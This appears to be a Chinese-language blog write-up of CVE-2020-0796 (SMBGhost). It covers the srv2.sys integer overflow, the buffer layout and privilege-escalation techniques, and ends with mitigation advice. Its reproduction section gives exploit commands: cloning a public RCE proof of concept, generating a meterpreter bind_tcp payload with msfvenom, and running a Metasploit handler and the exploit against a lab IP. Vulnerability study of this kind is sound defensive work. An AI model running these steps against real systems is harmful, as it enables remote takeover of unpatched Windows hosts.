Windows SMBv3 CVE-2020-0796 漏洞分析和漏洞复现
0x00 漏洞描述
0x01 漏洞响应版本
0x02 漏洞分析
1.根本原因
漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。
2.初步分析
该错误是发生在srv2.sys SMB服务器驱动程序中的Srv2DecompressData函数中的整数溢出错误。这是该函数的简化版本,省略了不相关的细节:
typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER; typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER; NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; } ULONG FinalCompressedSize = 0; NTSTATUS Status = SmbCompressionDecompress( Header->CompressionAlgorithm, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset, (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset), (PUCHAR)Alloc->UserBuffer + Header->Offset, Header->OriginalCompressedSegmentSize, &FinalCompressedSize); if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } if (Header->Offset > 0) { memcpy( Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); } Srv2ReplaceReceiveBuffer(some_session_handle, Alloc); return STATUS_SUCCESS; }
该Srv2DecompressData函数接收客户端发送的压缩消息,分配所需的内存量,并解压缩数据。然后,如果Offset字段不为零,它会将放置在压缩数据之前的数据复制到分配的缓冲区的开头。
如果仔细观察,我们会发现第20行和第31行可能导致某些输入的整数溢出。例如,大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出,因此分配的字节更少。
稍后,它会在第31行触发额外的整数溢出。崩溃是由于在第30行中计算出的远离接收消息的地址处的内存访问造成的。如果代码在第31行验证了计算结果,那么它将很早退出,因为缓冲区长度恰好是负数且无法表示,这也使得第30行的地址本身也无效。
3.选择溢出内容
只有两个相关字段可以控制以导致整数溢出的字段:OriginalCompressedSegmentSize和Offset,因此没有太多选择。在尝试了几种组合之后,下面的组合吸引了我们:如果我们发送一个合法的偏移值和一个巨大的原始压缩段大小值呢?让我们回顾一下代码将要执行的三个步骤:
- 分配:由于整数溢出,分配的字节数将小于两个字段的总和。
- 解压缩:解压缩将收到一个非常大的OriginalCompressedSegmentSize值,将目标缓冲区视为具有无限大小。所有其他参数均不受影响,因此它将按预期执行。
- 复制:如果要执行,则复制将按预期执行。
不管是否要执行复制步骤,它看起来已经很有趣了——我们可以在解压缩阶段触发越界写入,因为我们设法分配了比“分配”阶段所需的字节少的字节。
如您所见,使用这种技术,我们可以触发任何大小和内容的溢出,这是一个很好的开始。但是什么位于我们的缓冲区之外?让我们找出答案!
4.深入分析SrvNetAllocateBuffer
为了回答这个问题,我们需要查看分配函数,在我们的例子中是SrvNetAllocateBuffer。下面是函数的有趣部分:
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ... if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = /* some calculation based on AllocSize */; } SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = /* fetch result from list */; } // Initialize some Result fields... return Result; }
我们可以看到分配函数根据所需的字节数执行不同的操作。大型分配(大于约16MB)会导致执行失败。中型分配(大于约1 MB)使用SrvNetAllocateBufferFromPool函数进行分配。小型分配(其余的)使用lookaside列表进行优化。
注意:还有一个SrvDisableNetBufferLookAsideList标志会影响函数的功能,但是它是由一个未记录的注册表设置来设置的,并且默认情况下处于禁用状态,因此并不是很有趣。
Lookaside列表用于有效地为驱动程序保留一组可重用的、固定大小的缓冲区。lookaside列表的功能之一是定义一个自定义的分配/释放函数,用于管理缓冲区。查看SrvNetBufferLookasides数组的引用,我们发现它是在SrvNetCreateBufferLookasides函数中初始化的,通过查看它,我们了解到以下内容:
- 自定义分配函数定义为SrvNetBufferLookasideAllocate,它只调用SrvNetAllocateBufferFromPool
- 9个lookaside列表按以下大小创建,我们使用Python快速计算:
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] - 这与我们的发现相匹配,即分配大于0x100100字节的分配时不使用lookaside列表。
结论是每个分配请求最终都出现在SrvNetAllocateBufferFromPool函数中,所以让我们来分析它。
6.SrvNetAllocateBufferFromPool和分配的缓冲区布局
SrvNetAllocateBufferFromPool函数使用ExAllocatePoolWithTag函数在NonPagedPoolNx池中分配一个缓冲区,然后用数据填充一些结构。分配的缓冲区的布局如下:
在我们的研究范围内,此布局的唯一相关部分是用户缓冲区和分配头结构。我们可以马上看到,通过溢出用户缓冲区,我们最终会重写ALLOCATION_HEADER结构。看起来很方便。
7.重写分配头结构
此时,我们的第一个想法是,由SmbCompressionDecompress调用之后的检查:
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }
SrvNetFreeBuffer将被调用,并且该函数将失败,因为我们将其设计OriginalCompressedSegmentSize为一个很大的数字,并且FinalCompressedSize将成为一个较小的数字,代表实际的解压缩字节数。因此,我们分析了该SrvNetFreeBuffer函数,成功地替换了一个幻数的分配指针,然后等待free函数尝试对其进行释放,以期稍后将其用于free-after-free或类似用途。但是令我们惊讶的是,该memcpy函数崩溃了。这使我们感到高兴,因为我们根本没有想到哪里,但我们必须检查为什么会这样。可以在SmbCompressionDecompress函数的实现中找到说明:
NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ... NTSTATUS Status = RtlDecompressBufferEx2( ..., FinalUncompressedSize, ...); if (Status >= 0) { *FinalCompressedSize = CompressedBufferSize; } // ... return Status; }
基本上,如果解压成功,FinalCompressedSize将更新为保存CompressedBufferSize的值,它是缓冲区的大小。这种对FinalCompressedSize返回值的故意更新对我们来说似乎非常可疑,因为这个小细节,加上分配的缓冲区布局,允许非常方便地利用这个bug。
由于执行继续到复制原始数据的阶段,让我们再次检查调用:
memcpy( Alloc-> UserBuffer, (PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER), Header-> Offset);
从ALLOCATION_HEADER结构中读取目标地址,我们可以覆盖该结构。缓冲区的内容和大小也由我们控制。
8.本地权限提升
既然我们有了写在哪里开发,我们能用它做什么?很明显我们可以让系统崩溃。我们可能能够触发远程代码执行,但我们还没有找到这样做的方法。如果我们在本地主机上使用此漏洞并泄漏其他信息,我们可以将其用于本地权限提升,因为已经通过几种技术证明了这一点
我们尝试的第一种技术是Morten Schenk在其《Black Hat USA 2017》演讲中提出的。该技术涉及重写win32的.data部分中的函数指针数据库系统驱动程序,然后从用户模式调用相应的函数以获得代码执行。j00ru写了一篇关于在WCTF 2018中使用此技术的精彩文章,并提供了他的漏洞源代码。我们针对write what where漏洞进行了调整,但发现它不起作用,因为处理SMB消息的线程不是GUI线程。因此,win32数据库系统没有映射,而且技术也不相关(除非有办法使它成为一个GUI线程,这是我们没有研究过的)。
我们最终在2012年的黑帽演示中使用了cesarcer所介绍的著名技术—轻松本地Windows内核开发。该技术是通过使用NtQuerySystemInformation(SystemHandleInformation)API泄漏当前进程令牌地址,然后重写该地址,授予当前进程令牌权限,这些权限可用于权限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中滥用代理权限,展示了使用各种令牌特权提升特权的几种方法。
0x03 CVE-2020-0796 RCE漏洞复现
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154727121-321892409.png)
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154744842-783420131.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154756818-1491340795.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154810291-984393107.png)
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154913207-1606455345.png)
root@kali2019:~# cat exp.py
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605154926656-182576597.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155007768-1965721110.png)
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式 msf5 exploit(multi/handler) > set rhost 192.168.1.103 #设置目标靶机IP地址 msf5 exploit(multi/handler) > set lport 2333 #设置监听端口 msf5 exploit(multi/handler) > exploit
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155026855-884275335.png)
python3 exploit.py -ip 192.168.1.103
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155044129-451143982.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155102382-2134252047.png)
0x04 CVE-2020-0796 本地提权漏洞复现
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155117517-787476333.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155131105-1024919712.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155202058-1213541931.png)
0x05 漏洞检测
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155232385-359470508.png)
![](https://img2020.cnblogs.com/blog/1049983/202006/1049983-20200605155300083-1086107635.png)
0x06 漏洞修复
1. 更新,完成补丁的安装。
操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
2.微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
3.对SMB通信445端口进行封禁。